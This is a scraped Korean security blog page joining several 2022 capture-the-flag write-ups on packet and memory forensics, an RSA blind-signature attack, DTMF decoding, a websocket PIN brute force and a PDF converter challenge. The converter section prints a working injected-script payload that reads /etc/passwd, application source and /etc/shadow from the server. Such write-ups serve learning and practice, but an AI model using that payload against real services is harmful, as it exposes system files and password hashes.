728x90
반응형
728x90
반응형

Forensics

 

Bad C2

c2서버랑 통신하는 패킷 주어지는데, /get/secret에 post로 json 보내는 거 있음 간단한 조건 맞춰서 서버에 보내면 플래그 줌


oreo

./Default/Cookies

open with DB browser

base64 decode

 


cyber survey

tcp 패킷들 있는데, 포트스캐닝 마냥 여러 포트들 찌르는데, 열린포트에 6761.. 데이터를 push함. push한 포트 번호 끝 3자리 순서대로 가져오면 됨 (패킷 길이 73만 보면 됨)

length of packet == 73, get port number (last 3 digits)

dec to ascii


Death, Taxes, TCP

tcp패킷들만 있는데, 패킷길이 87짜리들이 데이터 1바이트씩 보냄. 순서대로 가져오면 됨.

 

length of packet == 87, get 1byte data

hex to ascii

728x90
반응형

'CTF Write Up' 카테고리의 다른 글

San Diego CTF 2022 Forensics write up  (0) 2022.05.09
NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
LINE CTF 2022 write up  (0) 2022.03.27
UTCTF 2022 Write up  (0) 2022.03.13
Codegate 2021 Quals Write Up  (0) 2022.02.28
728x90
반응형

Whois_Ajou 팀으로 참여했다.

Crypto

ss-puzzle

단순 xor 역연산이다. 알고 있는 값들을 토대로 하나씩 xor 역연산 해가면서 찾아나아가면 된다.
참고로 S[0] = "LINECTF{" 임을 알고 있으면 된다.

X Factor


rsa blind signature attack 같은 느낌인데 sign을 해주는 기능을 제공해주지는 않는다.
대신 plain -> signature pair들을 제공해주기 때문에 이 값들을 sign함수 대신 사용하는 느낌으로 가야된다.
0x686178656c696f6e 값의 signature를 구하는 문제이다.

문제 제목이 힌트라고 볼 수 있는데, 각 plain 값들을 소인수분해한다. 이는 factordb 사이트를 이용하면 된다.
a ~ g의 값들을 사용하여 Z를 만들어내려면 ( f * b * g * d * g * d ) / ( c * e * a ) 가 된다.

http://the2702.com/2015/09/07/RSA-Blinding-Attack.html

The 2702 - Computer Security and CTF Writeups

We are given two ports on a server, Sign and Verify. Sign will sign an integer using the RSA signature scheme and Verify asks us to sign an integer providing the the public modulus and exponent. Sign it correctly and the server will give us the flag. The t

the2702.com

http://the2702.com/2015/09/07/RSA-Blinding-Attack.html


plain a ~ g, Z의 signature 값을 Sa ~ Sg, SZ 라고 하면,
위 사진의 식에서
M=Z = ( f * b * g * d * g * d ) / ( c * e * a ) ,
r= Sc * Se * Sa
r^e mod N = c * e * a
이므로 M' = ( f * b * g * d * g * d ) / ( c * e * a ) * (c * e * a) mod N = ( f * b * g * d * g * d )

S' = M'^d mod N = ( f * b * g * d * g * d )^d mod N = ( Sf * Sb * Sg * Sd * Sg * Sd ) mod N

우리가 원하는 S = S'/r mod N = ( ( Sf * Sb * Sg * Sd * Sg * Sd ) / ( Sc * Se * Sa ) ) mod N 이다.

https://ohgym.tistory.com/13, 모듈로 나눗셈 성질

( Sc * Se * Sa ) 의 역원을 구해야 한다.

https://ohgym.tistory.com/13

( Sc * Se * Sa ) 와 N 은 서로소이므로 확장된 유클리드 호제법을 사용하여 역원 x를 구한다.

역원을 얻었다.

S를 연산하고, 검증했다.
클리어.

728x90
반응형

'CTF Write Up' 카테고리의 다른 글

NahamCon CTF 2022 Forensic Write up  (0) 2022.04.30
RITSEC CTF 2022 Write up  (0) 2022.04.02
UTCTF 2022 Write up  (0) 2022.03.13
Codegate 2021 Quals Write Up  (0) 2022.02.28
ASCTF 2021 문제 풀이 및 출제 후기 - Forensic(5), Misc(1)  (0) 2021.11.24
728x90
반응형

 

Forensics

Sounds Familiar

 

dtmf

이건 너무 부정확해서 다른 도구를 사용했다.

 

http://www.polar-electric.com/DTMF/Index.html

 

DTMF Decoder / Encoder

DTMF Decoder is a very easy to use program to decode DTMF dial tones found on telephone lines with touch tone phones. DTMF Decoder is also used for receiving data transmissions over the air in amateur radio frequency bands.   The following are the frequen

www.polar-electric.com

result

0과 1이 많아서 키패드 알파벳 변환은 아니다.

띄어서 입력되는 부분을 고려하면

100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61

이 되고, 이를 ascii로 변환한 뒤에 base64로 디코딩해주면 플래그가 나온다.

 

dtmf decode -> ascii -> base 64

 

 


Forensics

IRC

 

memdump.lime.z 파일이 주어진다.

zlib compreesed data이므로 압축을 풀어주자.

 

 

압축을 풀고 strings와 grep을 사용해서 프로필 정보를 알아냈다.

debian 10.2.1-6 에 linux version 5.10.0-11-amd64이다.

 

volatility2 사용을 위한 profile을 create해야한다. 

환경 구성의 편의를 위해서 커널버전 5.10.0-11에 가장 근접하는 데비안 버전을 사용했다.

 

debian 11.0.0 amd64 iso 파일을 다운받아서 가상환경을 구축해준다.

https://ftp.cae.tntech.edu/debian-cd/dvd/

 

Index of /debian-cd/dvd/

 

ftp.cae.tntech.edu

 

apt install linux-headers-5.10.0-11-amd64

apt install linux-headers-5.10.0-11-common

apt install linux-image-5.10.0-11-amd64

apt install linux-image-5.10.0-11-amd64-dbg

디스크 용량은 15GB 이상 확보하자.

 

기존에 설치되어 있는 커널 버전은 remove 해준다.

 

 

 

https://github.com/volatilityfoundation/volatility/wiki/Linux 을 참고하여 프로필을 생성하면 된다.

 

GitHub - volatilityfoundation/volatility: An advanced memory forensics framework

An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an account on GitHub.

github.com

 

/boot/System.map-<uname -r> 파일을 보면 

The real System.map is in the linux-image-<version>-dbg package

이렇게 되어 있다. apt install linux-image-5.10.0-11-amd64-dbg 를 한 이유가 real System.map 파일을 얻기 위해서다.

real System.map 파일은 usr/lib/debug/boot/ 경로에 있다.

 

생성된 프로필 zip 파일을 볼라티리티 overlays linux 폴더에 옮겨 넣는다.

hexchat이라는 irc 프로그램을 설치한 기록을 확인할 수 있다.

 

 

pslist에서 hexchat이 확인된다.

 

이제 irc password를 찾기 위해서 log 파일을 확인하면 password를 찾을 수 있을 것이라고 생각했다.

그런데 log파일들이 있는 경로는 알지만 정확한 로그 파일을 봐야하고 그 파일의 이름이 뭔지를 알 수 없었으므로

(linux는 filescan이 안된다. 정확한 파일의 절대 경로를 알고 있어야 한다.)

여기서부터는 게싱을 했다.

 

 

HxD로 메모리 덤프 파일을 열어서 hexchat과 utctf를 검색했고, P=blabla 문자열을 확인할 수 있었다.

utctf.live는 irc 주소, P 값은 irc password로 추측되었다.

 

해당 P값을 flag로 제출했다.

 


WEB

Websockets

어드민 로그인 페이지가 있는데 username은 admin이고 pw는 숫자 3자리라고 한다.

웹소켓으로 id와 pw를 전달한다.

 

파이썬으로 쓰윽


 

WEB

pdf로 변환을 해준다.

 

<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///etc/passwd',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText+location.href;
</script>

 

이렇게 파일을 읽어올 수 있고

+location.href로 현재 경로를 알아냈다.

 

<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///usr/src/app/app.py',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText;
</script>

 

약간의 게싱으로 app.py의 소스를 가져온다.

 

flag가 환경변수에 있는데, /proc/environ을 못읽도록 하고 있다. 그런데 필터링 우회해서 해당 파일에 접근해도 결과가 안나왔다. (언인텐이라서 이쪽으로는 못풀게 아에 막은 듯 싶다.)

 

/admin 페이지 로그인으로 플래그를 얻어야 하는데 unix계정 로그인을 하면 된다.

 

아까 passwd파일을 확인했을 때 WeakPasswordAdmin 이라는 계정이 있었다. 해당 계정의 패스워드를 구해서 로그인하면 될 것으로 보인다.

 

/etc/shadow 파일도 가져온다.

 

클리어.


Misc

https://ropsten.etherscan.io/tx/0xca78d2d51101fda93f3f8c62f4349dd23a7e5692cef667ab834c3611601f068f

 

Ropsten Transaction Hash (Txhash) Details | Etherscan

Ropsten (ETH) detailed transaction info for txhash 0xca78d2d51101fda93f3f8c62f4349dd23a7e5692cef667ab834c3611601f068f. The transaction status, block confirmation, gas fee, Ether (ETH), and token transfer are shown.

ropsten.etherscan.io

 

그냥 이더스캔으로 컨트랙트 생성 트랜젝션의 인풋값 보면 된다.

728x90
반응형

'CTF Write Up' 카테고리의 다른 글

RITSEC CTF 2022 Write up  (0) 2022.04.02
LINE CTF 2022 write up  (0) 2022.03.27
Codegate 2021 Quals Write Up  (0) 2022.02.28
ASCTF 2021 문제 풀이 및 출제 후기 - Forensic(5), Misc(1)  (0) 2021.11.24
Killer Queen CTF 2021 write up  (0) 2021.10.31

+ Recent posts